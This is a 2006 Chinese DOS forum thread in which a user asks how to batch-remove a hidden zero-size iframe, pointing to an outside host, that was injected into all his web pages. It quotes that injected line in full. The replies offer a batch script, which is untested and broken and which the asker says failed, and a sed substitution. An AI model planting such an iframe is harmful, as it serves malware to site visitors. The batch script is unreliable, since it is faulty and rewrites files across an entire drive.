中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-02 16:41
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 我的网页文件接尾都被加了一段代码如何批量删除? 查看 1,329 回复 6
楼 主 我的网页文件接尾都被加了一段代码如何批量删除? 发表于 2006-12-04 05:15 ·  中国 北京 联通
新手上路
积分 6
发帖 2
注册 2006-12-04 04:47
19年会员
UID 72508
性别 男
状态 离线
在我本机所有的*.html *.htm *.asp 文件都被加了一段代码如下:
<iframe src="http://51355388.ee28.cn/htm/" width="0" height="0" scrolling="no" frameborder="0"></iframe>
2 发表于 2006-12-04 05:41 ·  中国 甘肃 张掖 电信
金牌会员
★★★★
积分 4,103
发帖 1,744
注册 2006-01-20 13:00
20年会员
UID 49241
性别 男
来自 甘肃.临泽
状态 离线
用3742668斑竹爱用的方法

@echo off
setlocal ENABLEDELAYEDEXPANSION
for /f "tokens=*" %%a in ('dir /a-d/s/b c:\*.htm c:\*.html c:\*.asp)' do (
for /f "delims=: tokens=1,*" %%i in ('findstr /n . "%%a"') do set "%%i=%%j" & set “num=%%i”
set num=num-1
cd.>%%a
for /l %%i in (1,1,%num%) do >>%%a echo !%%i!
)

未测试
3 我试了不行啊. 发表于 2006-12-04 06:37 ·  中国 北京 联通
新手上路
积分 6
发帖 2
注册 2006-12-04 04:47
19年会员
UID 72508
性别 男
状态 离线
是不是把 /a-d/s/b 替换为 <iframe src="http://51355388.ee28.cn/htm/" width="0" height="0" scrolling="no" frameborder="0"></iframe>

在把文件改为.bat 运行就可以了?
我试了不行啊.
4 发表于 2006-12-05 07:34 ·  中国 山东 济南 移动
钻石会员
★★★★★
积分 10,051
发帖 3,040
注册 2002-11-11 00:00
23年会员
UID 223
性别 男
状态 离线
2楼意思应该是保存为bat,然后把文件和字串做为参数。
简单就是美
5 发表于 2006-12-05 23:10 ·  中国 甘肃 兰州 电信
金牌会员
★★★★
积分 4,103
发帖 1,744
注册 2006-01-20 13:00
20年会员
UID 49241
性别 男
来自 甘肃.临泽
状态 离线
我的意思只是去掉最后一行
6 发表于 2006-12-06 01:36 ·  中国 山东 济南 移动
钻石会员
★★★★★
积分 10,051
发帖 3,040
注册 2002-11-11 00:00
23年会员
UID 223
性别 男
状态 离线
哦,是这样啊,我还以为是字串替换这样的完美办法,前几天我也遇到过这样的问题,批量去除网页中的广告信息,html代码完全相同,但位置不同,我是用正则表达式处理的。不过得借助第三方工具。
简单就是美
7 发表于 2006-12-06 02:01 ·  中国 甘肃 兰州 电信
金牌会员
★★★★
积分 4,103
发帖 1,744
注册 2006-01-20 13:00
20年会员
UID 49241
性别 男
来自 甘肃.临泽
状态 离线
借助第三方工具

sed "s#<iframe src=\x22http://51355388.ee28.cn/htm/\x22.*></iframe>#//" life.temp|more>life

这样要生成临时文件哦
论坛跳转: